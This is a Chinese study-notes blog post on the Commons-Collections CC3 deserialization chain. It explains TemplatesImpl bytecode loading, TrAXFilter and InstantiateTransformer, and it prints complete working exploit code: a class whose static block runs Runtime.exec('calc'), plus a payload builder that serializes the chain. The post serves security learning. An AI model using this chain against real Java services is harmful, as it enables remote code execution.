CC3学习记录

🌸 CC3

之前学习到的cc1cc6都是通过Runtime进行命令执行的,如果Runtime被加入黑名单的话,整个链子也就失效了。而cc3则是通过动态类加载机制进行任意代码执行的。

🌸 版本限制

JDK版本:8u65

Commons-Collections版本:3.2.1

🌸 动态类加载机制

之前学习过动态类加载机制:ClassLoader中的loadClass方法负责加载,而loadClass中会通过调用defineClass方法从字节中加载一个类。

ClassLoader.loadClass()->ClassLoader.findClass()->ClassLoader.defineClass()

但是这个过程中只进行类加载,并不会进行初始化,所以我们应该找到初始化的地方。

🌸 CC链分析

通过defineClass方法,继续向上找谁调用了defineClass方法。

于是我们在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl类中的静态类TransletClassLoader中发现了defineClass方法,他是默认的类型,也就是default类型,只能是在他自己的类中使用。

继续Find Usage:

于是我们在defineTransletClasses方法中找到了调用的地方。更完整的代码如下:

private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}
}

接下来分析上面的代码:defineTransletClasses类是private属性修饰的,同时这个代码中有一个if (_bytecodes == null)条件,要想继续向下执行我们的目标代码:_class[i] = loader.defineClass(_bytecodes[i]);肯定是要将这个if条件满足的。

  1. if (_bytecodes == null)条件必须要满足:_bytecodes不为空,不然的话就抛异常了!
  2. return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());这个代码中,有一个_tfactory变量,必须要给他赋值,不然的话就会出现空指针异常了。

继续向上找谁调用了defineTransletClasses方法。

于是我们找到了三个地方!三个方法的具体代码如下:

private synchronized Class[] getTransletClasses() {try {if (_class == null) defineTransletClasses();}catch (TransformerConfigurationException e) {// Falls through}return _class;
}

在这个getTransletClasses方法中,同样也是private修饰的。

public synchronized int getTransletIndex() {try {if (_class == null) defineTransletClasses();}catch (TransformerConfigurationException e) {// Falls through}return _transletIndex;
}

getTransletIndex方法是public修饰的。

private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(_useServicesMechanism);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (IllegalAccessException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}
}

getTransletInstance方法虽然是private方法修饰的,但是我们找到代码中很重要的初始化过程:AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();这里将加载的class进行了实例化,也就是做了初始化的过程!因为我们就是要执行代码!就是要找到实例化的地方,然而这个方法刚好是满足的!对获取到的_class进行了初始化!这里还是出现了一个条件:if (_name == null) return null;_name变量肯定不能为空!不然return null

继续向上找谁调用了getTransletInstance方法!

于是找到了当前类下面的newTransformer方法中,调用了getTransletInstance方法!在这里我们就找到了一个公开的方法。于是开始尝试利用!

🍂 TemplatesImpl类分析和利用

这里发现该类的构造器是空的!

public TemplatesImpl() { }

同时我们还要满足上面所说的几个条件:

  1. _name不为空,不然的话return null

那就通过反射进行修改:(private属性修饰,所以需要设置可访问)

TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
  1. _bytecodes不为空,不然的话就抛异常了!

这里发现_bytecodes变量是一个二维数组!他的具体的值应该是什么,我们跟进到方法里面去细看:

我们这里发现调用的就是loader.defineClass(_bytecodes[i]),继续跟进发现穿进去的其实是byte[] b是一个一维的数组!

那我们就把_bytecodes里面设置为一个一维数组,再包裹一下就好啦。

Field declaredField = templatesClass.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates,codes);
  1. _tfactory变量,必须要给他赋值,不然的话就会出现空指针异常。
private transient TransformerFactoryImpl _tfactory = null;

定位到_tfactory变量的定义地方,发现该变量不仅仅是private,而且还是transient,既然是transient修饰的,那么这个变量是不能序列化的!(在序列化的时候,该变量根本就不会传进去),同时这个变量的类型是TransformerFactoryImpl。直接实例化一个传进去!

//修改_tfactory变量
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

现在写一个Test类,用于加载,并执行代码:

import java.io.IOException;public class Test {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}
}

但是当我们执行代码的时候,发现报错了!是空指针异常的错误。

调试,尝试找到原因:

下断点在这里,进行调试:

经过不断的调试,发现在如下的代码中出现了空指针异常:

for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}
}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());
}

在上述代码中,_auxClasses为空,导致出现了空指针异常。这里有两种方法:

  1. superClass.getName().equals(ABSTRACT_TRANSLET)这个条件为true的话,那就不会进入下面的else,也就不会出现空指针异常啦!
  2. _auxClasses赋值,同样也是不会出现空指针异常!

但是当继续往下看代码的时候,发现其实第二种方式不可取,代码如下:

if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());
}

这个代码中通过判断变量_transletIndex是不是小于0,如果是的话,就会报错~ 然而在上面的调试过程图中发现,当执行else的时候,变量_transletIndex就是-1,那么下面的if条件也就满足啦!所以就会报错了。

所以我们只能采用第一种方式,尝试去满足superClass.getName().equals(ABSTRACT_TRANSLET),这样的话成功的进入第一个if条件里面,从而使得_transletIndex = i

跟进到常量ABSTRACT_TRANSLET,发现了他的结果:

private static String ABSTRACT_TRANSLET= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

所以我们写的Test类应该要继承上面的这个类!所以重写Test类:

import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Test extends AbstractTranslet{static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

因为AbstractTranslet类是一个抽象的类,所以需要去实现它的方法。

这里再次编译Test.java。再次执行代码:

成功弹出计算器!

🍂 TrAXFilter类分析和利用

由于上面的代码是通过newTransformer方法执行的,所以我们这里尝试继续向上找调用点:

所以我们这里就找到了一个类TrAXFilter,源码如下:

刚好是在TrAXFilter类中的构造器中调用的!但是TrAXFilter类是没有继承Serializable接口,所以是不能够进行序列化的。

但是cc3的作者发现了一个专门可以通过反射类动态创建对象的类InstantiateTransformer,我们查看这个类的构造器等代码:

public InstantiateTransformer(Class[] paramTypes, Object[] args) {super();iParamTypes = paramTypes;iArgs = args;
}

有参的构造器需要传入的是Class数组类型的参数类型,和Object数组类型的参数。然后关注到该类中的transform方法:

public Object transform(Object input) {try {if (input instanceof Class == false) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "+ (input == null ? "null object" : input.getClass().getName()));}Constructor con = ((Class) input).getConstructor(iParamTypes);return con.newInstance(iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException ex) {throw new FunctorException("InstantiateTransformer: InstantiationException", ex);} catch (IllegalAccessException ex) {throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);} catch (InvocationTargetException ex) {throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);}
}

在这个代码中:通过反射获取class,然后((Class) input).getConstructor(iParamTypes);获取构造器,并将参数传递进去,然后返回一个Object

因为我们要通过TrAXFilter的构造器来创建TrAXFilter对象,所以iParamTypes就是构造器参数的类型,iArgs就是传进去的参数!而transform方法的Object input就是TrAXFilter.class,用于获取class

因此最终的TrAXFilter类的利用代码如下

package org.y4y17;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;public class cc3 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象instantiateTransformer.transform(TrAXFilter.class);}}
🍂 CC1+TrAXFilter利用

最终的利用代码:


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class cc3 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<String, Object> map = new HashMap<>();map.put("value","aaa");Map<String,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> anntationInvocationHandlerConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);anntationInvocationHandlerConstructor.setAccessible(true);Object o = anntationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
//        serialization(o);deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.bin"));objectInputStream.readObject();objectInputStream.close();}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/59682.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

flutter字体大小切换案例 小字体,标准字体,大字体,超大字体案例

flutter字体大小切换案例 小字体&#xff0c;标准字体&#xff0c;大字体&#xff0c;超大字体案例 Android iOS设备带有选择记录 我的flutter项目版本 environment: sdk: ‘>3.4.4 <4.0.0’ 图片案例 pubspec.yaml 添加依赖 # 屏幕尺寸适配 https://github.com/OpenF…

设计模式(四)装饰器模式与命令模式

一、装饰器模式 1、意图 动态增加功能&#xff0c;相比于继承更加灵活 2、类图 Component(VisualComponent)&#xff1a;定义一个对象接口&#xff0c;可以给这些对象动态地添加职责。ConcreteComponent(TextView)&#xff1a;定义一个对象&#xff0c;可以给这个对象添加一…

django入门【05】模型介绍(二)——字段选项

文章目录 1、null 和 blank示例说明⭐ null 和 blank 结合使用的几种情况总结&#xff1a; 2、choices**choices 在 Django 中有以下几种形式&#xff1a;**&#xff08;1&#xff09; **简单的列表或元组形式**&#xff08;2&#xff09; **字典映射形式**&#xff08;3&#…

C++清除所有输出【DEV-C++】所有编辑器通用 | 算法基础NO.1

各位小伙伴们&#xff0c;上一期的保留小数位数教学够用一辈子&#xff0c;有不错的点赞量&#xff0c;可我连一个粉丝铁粉都没有&#xff0c;你愿意做我的第一个铁粉吗&#xff1f;OK废话不多说&#xff0c;开始&#xff01; 温故与知心 可能你也学过&#xff0c;且是工作者…

Android 中的 Zygote 和 Copy-on-Write 机制详解

在 Android 系统中&#xff0c;Zygote 是一个关键的进程&#xff0c;几乎所有的应用进程都是通过它 fork&#xff08;派生&#xff09;出来的。通过 Zygote 启动新进程的方式带来了显著的性能优势&#xff0c;这得益于 fork 操作和 Linux 中的 Copy-on-Write&#xff08;COW&am…

【提高篇】3.3 GPIO(三,工作模式详解 上)

目录 一,工作模式介绍 二,输入浮空 2.1 输入浮空简介 2.2 输入浮空特点 2.3 按键检测示例 2.4 高阻态 三,输入上拉 3.1 输入上拉简介 3.2 输入上拉的特点 3.3 按键检测示例 四,输入下拉 4.1 输入下拉简介 4.2 输入下拉特点 4.3 按键检测示例 一,工作模式介绍…

关于写React的一些反思和总结

这两个星期我都一直在写IT资产管理这个模块。关于这个模块&#xff0c;前端和后端都是我来处理&#xff0c;对于后端&#xff0c;我碰到了很多问题&#xff0c;但是很多问题都可以在比较短的时间内解决&#xff0c;而且不会说完全没有头绪的那种&#xff0c;这一方面源于我本身…

Mybatis中批量插入foreach优化

数据库批量入库方常见方式&#xff1a;Java中foreach和xml中使用foreach 两者的区别&#xff1a; 通过Java的foreach循环批量插入&#xff1a; 当我们在Java通过foreach循环插入的时候&#xff0c;是一条一条sql执行然后将事物统一交给spring的事物来管理&#xff08;Transa…

Thinkphp6视图介绍

一.MVC MVC 软件系统分为三个基本部分&#xff1a;模型&#xff08;Model&#xff09;、视图&#xff08;View&#xff09;和控制器&#xff08;Controller&#xff09; ThinkPHP6 是一个典型的 MVC 架构 控制器—控制器&#xff0c;用于将用户请求转发给相应的Model进行处理&a…

Ceph client 写入osd 数据的两种方式librbd 和kernel rbd

在Ceph存储系统中&#xff0c;客户端&#xff08;Ceph client&#xff09;写入OSD&#xff08;Object Storage Daemon&#xff09;数据确实可以通过两种主要方式&#xff1a;librbd和kernel rbd。这两种方式各有特点和适用场景&#xff0c;下面将分别进行详细介绍。 librbd方式…

基于大语言模型意图识别和实体提取功能;具体ZK数值例子:加密货币交易验证;

目录 基于大语言模型意图识别和实体提取功能 案例背景 零知识证明过程 具体例子 具体举例(简化) 具体ZK数值例子:加密货币交易验证 定义多项式 承诺 挑战 证明构造 证明验证 结论 zkLLM Zero Knowledge Proofs for Large Language Models 在大模型验证过程中处…

Python小游戏24——小恐龙躲避游戏

首先&#xff0c;你需要安装Pygame库。如果你还没有安装&#xff0c;可以通过以下命令安装&#xff1a; 【bash】 pip install pygame 【python】代码 import pygame import random # 初始化Pygame pygame.init() # 设置屏幕尺寸 screen_width 800 screen_height 600 screen …

C++(Qt)软件调试---内存泄漏分析工具MTuner (25)

C(Qt)软件调试—内存泄漏分析工具MTuner &#xff08;25&#xff09; 文章目录 C(Qt)软件调试---内存泄漏分析工具MTuner &#xff08;25&#xff09;[toc]1、概述&#x1f41c;2、下载MTuner&#x1fab2;3、使用MTuner分析qt程序内存泄漏&#x1f9a7;4、相关地址&#x1f41…

【C#】第6章:用户界面设计 课后习题

文章目录 C# 控件知识详解一、选择题解析二、填充题解析 以下是一篇关于 C#中各类控件知识点的博客文章&#xff1a; C# 控件知识详解 在 C#编程中&#xff0c;各种控件起着至关重要的作用&#xff0c;它们为用户界面提供了丰富的交互功能。本文将详细介绍 C#中一些常见控件的…

QT_CONFIG宏使用

时常在Qt代码中看到QT_CONFIG宏&#xff0c;之前以为和#define、DEFINES 差不多&#xff0c;看了定义才发现不是那么回事&#xff0c;定义如下&#xff1a; 看注释就知道了QT_CONFIG宏&#xff0c;其实是&#xff1a;实现了一个在编译时期安全检查&#xff0c;检查指定的Qt特性…

Python期末复习 | 列表、元组、字典、集合与字符串 | 代码演示

列表、元组、字典、集合与字符串 列表 ​ 列表是Python最重要的内置对象之一&#xff0c;是包含若干元素的有序连续内存空间。当列表增加或删除元素时&#xff0c;列表对象自动进行内存的扩展或收缩&#xff0c;从而保证相邻元素之间没有缝隙。 ​ 在形式上&#xff0c;列表…

Redis下载历史版本

Linux版本&#xff1a; https://download.redis.io/releases/ Windows版本&#xff1a; https://github.com/tporadowski/redis/releases Linux Redis对应gcc版本

8 软件项目管理

软件项目管理 1、软件项目管理概念1.1 软件项目管理内容1.2 软件项目管理的4P要素人员产品过程项目 2、软件项目度量2.1 软件项目度量定义及度量方法2.2 面对规模的度量2.3 面对功能的度量UFC相关的五类组件14个复杂性调节因素 F i F_i Fi​一个功能点开发代码行数 2.4 软件估算…

游戏引擎学习第12天

视频参考:https://www.bilibili.com/video/BV1yom9YnEWY 这节没讲什么东西&#xff0c;主要是改了一下音频的代码 后面有介绍一些alloc 和malloc,VirtualAlloc 的东西 _alloca 函数&#xff08;或 alloca&#xff09;分配的是栈内存&#xff0c;它的特点是&#xff1a; 生命周…

如何保证Redis与MySQL双写一致性

什么是双写一致性问题&#xff1f; 双写一致性主要指在一个数据同时存在于缓存&#xff08;如Redis&#xff09;和持久化存储&#xff08;如MySQL&#xff09;的情况下&#xff0c;任何一方的数据更新都必须确保另一方数据的同步更新&#xff0c;以保持双方数据的一致状态。这一…